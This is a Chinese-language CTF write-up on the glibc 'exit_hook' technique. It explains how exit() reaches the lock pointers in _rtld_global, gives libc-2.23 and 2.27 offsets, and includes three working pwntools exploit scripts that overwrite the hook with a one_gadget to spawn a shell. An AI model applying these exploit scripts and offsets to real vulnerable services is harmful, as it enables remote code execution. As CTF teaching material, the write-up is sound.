exit_hook在pwn题中的应用

　　以前只接触过malloc_hook，free_hook，大概意思就是在调用malloc和free的时候会先看看里面有没有东西，有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook，前几天就研究了一下，这篇来做个总结。

　　首先我们自己写一个程序，调试一下exit是怎么执行的。

#include<stdio.h>

void main()
{
    printf("bhxdn\n");
    exit(0);
}

　　在第六行下断点看一下。

　　这里可以看到是执行了__run_exit_handlers。进入这个函数，看看它调用了哪些函数。

　　这里显示其中调用的一个函数，是_dl_fini。这里为了方便看，我们直接看_dl_fini的关键源码。

#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
     auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
      || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
      )
    __rtld_lock_unlock_recursive (GL(dl_load_lock));

　　看8行和18行，发现是调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。

　　这里我们看一下这两个函数在哪。

　　这两个函数在_rtld_global结构体里面。只要我们将其中一个指向one_gadgets，在CTF中，就可以拿到shell了。

　　接下来就是计算偏移了，发现在64位libc-2.23中，这两个指针在结构体中的偏移分别是3848和3856。为了方便，我们可以直接记住这两个指针和libc的基地址之间的距离。 

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

　　这样一来，只要知道libc版本和任意地址的写，我们可以直接写这个指针，执行exit后就可以拿到shell了。（其实不用非要执行exit，就程序正常返回也可以执行到这里）

ciscn_2019_n_7

　　64位程序，保护全开，输入666可以直接泄露libc基地址。在输入name时候可以输入0x10大小，可以溢出。就可以改一个指针，并且往里面写值。

　　直接把exit_hook改成one_gadgets拿shell。

from pwn import *

p = process('./pwn')
#p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"})
#libc = ELF('./libc-2.23.so')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()

def add(size,name):
    p.sendlineafter('choice-> \n','1')
    p.sendlineafter('Length: \n',str(size))
    p.sendafter('name:\n',name)

def edit(name,content):
    p.sendlineafter('choice-> \n','2')
    p.sendafter('name:\n',name)
    p.sendafter('contents:\n',content)

def show():
    p.sendlineafter('choice-> \n','3')

def exit():
    p.sendlineafter('choice-> \n','4')

def secret():
    p.sendlineafter('choice-> \n','666')

og=[0x45226,0x4527a,0xf0364,0xf1207]
#og=[0x45216,0x4526a,0xf02a4,0xf1147]
secret()
libc_base = int(p.recv(14),16)-libc.symbols['puts']
print 'libc_base-->'+hex(libc_base)
exit_hook = libc_base+0x5f0040+3848
print 'exit_hook-->'+hex(exit_hook)
shell = libc_base+og[3]
add(0x30,'aaaaaaaa'+p64(exit_hook))
edit('aaaaaaaa',p64(shell))
sleep(0.5)
p.sendline('a')
p.interactive()

hctf2018_the_end

　　开局直接给libc地址，然后就是有五次机会可以任意写入一个字节。直接往exit_hook里面写one_gadgets拿shell。

from pwn import *

#p = process('./pwn')
p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.27-buu.so')
context.log_level = 'debug'

#og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]

p.recvuntil('gift ')
libc_base = int(p.recv(14),16)-libc.symbols['sleep']
exit_hook = libc_base+0x619060+3840
print 'libc_base-->'+hex(libc_base)
print 'exit_hook-->'+hex(exit_hook)
shell = libc_base+og[2]
for i in range(len(og)):
    print 'i-->'+hex(libc_base+og[i])

for i in range(5):
    p.send(p64(exit_hook+i))
    sleep(0.1)
    p.send(p64(shell)[i])
    sleep(0.1)

p.interactive()

bbctf_2020_write

　　还是开局直接给libc地址，可以任意地址写，按道理是有超级多种方法拿shell的。

from pwn import *

#p = process('./pwn')
p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.27-buu.so')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()

def write(ptr,content):
    p.sendlineafter('uit\n','w')
    p.sendlineafter('ptr: ',ptr)
    p.sendlineafter('val: ',content)

def quit():
    p.sendlineafter('uit\n','q')

#og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
og = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]

p.recvuntil('puts: ')
libc_base = int(p.recv(14),16)-libc.symbols['puts']
print 'libc_base'+hex(libc_base)
exit_hook=libc_base+0x619060+3840
print 'exit_hook-->'+hex(exit_hook)
shell = libc_base+og[2]
for i in range(len(og)):
    print str(i)+'-->'+hex(libc_base+og[i])

write(str(exit_hook),str(shell))
quit()
p.interactive()

参考：https://blog.csdn.net/qq_43116977/article/details/105485947

上述例子均可在BUUCTF上复现。